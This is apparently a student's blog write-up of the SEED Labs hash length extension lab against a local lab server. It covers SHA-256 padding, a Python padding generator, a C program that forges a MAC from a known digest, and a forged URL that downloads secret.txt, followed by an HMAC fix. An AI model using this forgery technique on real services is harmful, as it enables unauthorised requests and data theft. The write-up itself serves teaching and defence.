Hash Length Extension Attack

Ifeanyi Ukadike · October 19, 2023

When a client and a server communicate over the internet, they are subject to MITM attacks, thus the server needs to verify the integrity of the request received. The standard way to verify the integrity of the request is to attach a tag called MAC to the request.

MAC stands for Message Authentication Code. It is a cryptographic method used to verify the integrity and authenticity of a message. A MAC is generated by applying a cryptographic algorithm to the message and a secret key.

A naive way to calculate MAC is to concatenate the key with the message and calculate the one-way hash of the resulting string. This method is subject to the length extension attack, which allows attackers to modify the message while still being able to generate a valid MAC based on the modified message, without knowing the secret key.

SeedLabs: Hash Length Extension Attack Lab


Send Request to List Files

This task involves sending a benign request to the server to see how the server responds to the request.

Within the supplied key.txt file is a list of UIDs with corresponding keys. The one I have decided to use for this task is “1005:xciujk”

List files on the server

The MAC is calculated by concatenating the key with the contents of the requests -> “xciujk:myname=IfeanyiUkadike&uid=1005&lstcmd=1”

echo -n "xciujk:myname=IfeanyiUkadike&uid=1005&lstcmd=1" | sha256sum

The request to send to list the files on the server is as follows:

http://www.seedlab-hashlen.com/?myname=IfeanyiUkadike&uid=1005&lstcmd=1&mac=d7b362c568eb7ec56b0a6f748c602610038e44cd9e3034f59d95ddcb40b61e3a

task-1-a

Download a file from the server

The MAC is calculated by concatenating the key with the contents of the requests -> “xciujk:myname=IfeanyiUkadike&uid=1005&lstcmd=1&download=secret.txt”

echo -n "xciujk:myname=IfeanyiUkadike&uid=1005&lstcmd=1&download=secret.txt" | sha256sum

The request to send to download a file from the server is as follows:

www.seedlab-hashlen.com/?myname=IfeanyiUkadike&uid=1005&myname=IfeanyiUkadike&uid=1005&lstcmd=1&download=secret.txt&mac=ab0424810a8d1dac9cca1a6190b4458cb96dee8f0b12728fe0e9b84c2c1f98ee

task-1-b


Create Padding

To conduct the hash length extension attack, it is vital to understand how padding is calculated for a one-way hash. The block size of SHA-256 is 64 bytes, so a message, “M”, will be padded to the multiple of 64 bytes during the hash calculation.

According to RFC 6234, paddings for SHA256 consist of the following:

  • one byte of \x80
  • followed by many \x00’s
  • followed by a 64-bit (8 bytes) length field. The length field contains the number of bits in the message. The length field uses the Big-Endian byte order

This task deals with constructing the padding for the following message: “xciujk:myname=IfeanyiUkadike&uid=1005&lstcmd=1” and also encoding all the hexadecimal numbers in the padding by changing “\x” to “%”.

I wrote a program in Python to solve the task.

#!/usr/bin/env python3

BLOCKSIZE = 64

#M = "This is a test message"
M = "xciujk:myname=IfeanyiUkadike&uid=1005&lstcmd=1"

padding = 64 - len(M) % 64

lenM_bits = len(M) * 8

def main():
    # the padding structure
    intro = (0x80).to_bytes(1, 'big')
    zero_paddings = (0x00).to_bytes(1, 'big') * (padding - 9)
    length_field = (lenM_bits).to_bytes(8, 'big')
    
    # print the original message
    print(f"\"{M}\"")
    
    # print out the intro
    print_intro(intro)
    
    # print out the zero paddings
    print_zero_paddings(zero_paddings) 
    print()
    
    # print out the length field
    print_length_field(length_field)   
    print()
    
    # print out full padding
    print("padding = ", end="")
    print_full_padding(intro, zero_paddings, length_field)
    print()
    
    # print out the padding encoded
    print("padding encoded = ", end="")
    print_encoded_padding(intro, zero_paddings, length_field)
    print()
    
def print_intro(intro):
    for _ in intro:
        print(f"\"\\x{_:02x}\"")
        
def print_zero_paddings(zero_paddings):
    x = 0
    print_apostrophe()
    for _ in zero_paddings:
        print(f"\\x{_:02x}", end="")
        x += 1
        if x % 10 == 0:
            print()
    print_apostrophe()
        
def print_length_field(length_field):
    print_apostrophe()
    for _ in length_field:
        print(f"\\x{_:02x}", end="")
    print_apostrophe()

def print_full_padding(intro, zero_paddings, length_field):
    full_pad = intro + zero_paddings + length_field
    print_apostrophe()
    for _ in full_pad:
        print(f"\\x{_:02x}", end="")
    print_apostrophe()
        
def print_encoded_padding(intro, zero_paddings, length_field):
    full_pad = intro + zero_paddings + length_field
    print_apostrophe()
    print(''.join(f'%{_:02x}' for _ in full_pad), end="") 
    print_apostrophe()
    
def print_apostrophe():
    print("\"", end="")    


if __name__ == '__main__':
    main()

task-2


The Length Extension Attack

This task involves generating a valid MAC for a URL without knowing the MAC key.

Assume that we know the MAC of a valid request R, and we also know the size of the MAC key. Our job is to forge a new request based on R, while still being able to compute the valid MAC.

The valid request will be:

http://www.seedlab-hashlen.com/?myname=IfeanyiUkadike&uid=1005&lstcmd=1&mac=d7b362c568eb7ec56b0a6f748c602610038e44cd9e3034f59d95ddcb40b61e3a

The program below can be used to compute the MAC for the new message:

/*length_ext.c*/
#include <stdio.h>
#include <arpa/inet.h>
#include <openssl/sha.h>

int main(int argc, const char*argv[])
{
    int i;
    unsigned char buffer[SHA256_DIGEST_LENGTH];
    SHA256_CTX c;
    
    SHA256_Init(&c);
    for (i=0; i<64; i++) {
        SHA256_Update(&c, "*", 1);
    }
    
    // MAC of the original message M (padded)
    // sha256sum of M = d7b362c568eb7ec56b0a6f748c602610038e44cd9e3034f59d95ddcb40b61e3a
    c.h[0] = htole32(0xd7b362c5);
    c.h[1] = htole32(0x68eb7ec5);
    c.h[2] = htole32(0x6b0a6f74);
    c.h[3] = htole32(0x8c602610);
    c.h[4] = htole32(0x038e44cd);
    c.h[5] = htole32(0x9e3034f5);
    c.h[6] = htole32(0x9d95ddcb);
    c.h[7] = htole32(0x40b61e3a);
    
    // Append additional message
    SHA256_Update(&c, "&download=secret.txt", 20);
    SHA256_Final(buffer, &c);
    
    for(i = 0; i < 32; i++) {
        printf("%02x", buffer[i]);
    }
    printf("\n");
    return 0;
}

When the program is compiled and run, the below screenshot shows the result

task-3-a

  • padding calculated previously = %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%70
  • MAC for the new message = d8cbee3e728e1500281598e707935981ae37bd9b2f06bf93da0ecf723189ba6c

The hash length extension attack will be constructed as:

www.seedlab-hashlen.com/?myname=IfeanyiUkadike&uid=1005&myname=IfeanyiUkadike&uid=1005&lstcmd=1%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%70&download=secret.txt&mac=d8cbee3e728e1500281598e707935981ae37bd9b2f06bf93da0ecf723189ba6c

From the screenshot below, we can see that the attack is successful

task-3-b


Attack Mitigation using HMAC

The previous tasks have shown the damage that is caused when a developer computes a MAC in an insecure way by concatenating the key and the message. This task focuses on fixing the mistake made by the developer.

The standard way to calculate MACs is to use HMAC.

Assuming that the chosen key is 123456, the HMAC can be computed in the following program:

#!/bin/env python3
import hmac
import hashlib

key='123456'
message='lstcmd=1'

mac = hmac.new(bytearray(key.encode('utf-8')), msg=message.encode('utf-8', 'surrogateescape'), digestmod=hashlib.sha256).hexdigest()
print(mac)

By modifying the “verify mac() function” in the server’s program, we can instruct the program to make use of Python’s hmac module to calculate the MAC.

List files on the server

After modifying the server’s program and restarting the container:

The MAC is calculated by using python’s hmac module

#!/bin/env python3
import hmac
import hashlib

key = "xciujk"
message = "myname=IfeanyiUkadike&uid=1005&lstcmd=1"

mac = hmac.new(bytearray(key.encode('utf-8')), msg=message.encode('utf-8', 'surrogateescape'), digestmod=hashlib.sha256).hexdigest()
print(mac)

task-4-a

The request to send to list the files on the server is as follows:

http://www.seedlab-hashlen.com/?myname=IfeanyiUkadike&uid=1005&lstcmd=1&mac=dc96e025b47bf9d52fdd6c41b9284a6c96e82a3f182859900b5a543fddef70d6

task-4-b

However, when I try to carry out a hash length extension attack, it fails.

task-4-c

This happens because HMAC does not append the message to the key when calculating MACs, but ensures that the key is mixed with the message in a way that prevents an attacker from easily extending the message.

This means that the attacker would need to know the key in order to produce the correct hash value after extending the message. Since the secret key is not known to the attacker, they cannot compute the correct hash value for the extended message.

Thanks for reading…

Twitter, Facebook